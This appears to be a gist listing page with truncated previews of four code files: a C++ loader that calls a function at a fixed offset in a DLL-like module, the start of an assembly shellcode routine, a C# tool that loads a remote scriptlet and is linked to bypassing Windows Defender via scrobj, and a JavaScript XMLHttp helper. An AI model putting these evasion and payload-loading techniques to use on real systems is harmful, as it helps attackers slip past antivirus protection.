This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <iostream> | |
#include <iomanip> | |
typedef int64_t(*FunctionPtr)(int64_t* array, int64_t p2, int64_t p3); | |
int main() { | |
HMODULE hModule = LoadLibrary(L"./main.node"); | |
DWORD_PTR baseAddress = (DWORD_PTR)hModule; | |
DWORD_PTR functionOffset = 0x1992; | |
DWORD_PTR functionAddress = baseAddress + functionOffset; | |
FunctionPtr func = (FunctionPtr)functionAddress; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
section .text | |
global _start | |
_start: | |
; 保存堆栈状态 | |
sub rsp, 0x8 | |
push rbp | |
mov rbp, rsp | |
push rax | |
push rcx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Author: REInject | |
* Usage: scrobj-call-csharp.exe http://127.0.0.1/test.sct | |
* Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/ | |
*/ | |
using System; | |
using System.Runtime.InteropServices; | |
using System.ComponentModel; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function createXmlHttp() { | |
if (window.XMLHttpRequest) { | |
xmlHttp = new XMLHttpRequest() | |
} else { | |
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); | |
for (var n = 0; n < MSXML.length; n++) { | |
try { | |
xmlHttp = new ActiveXObject(MSXML[n]); |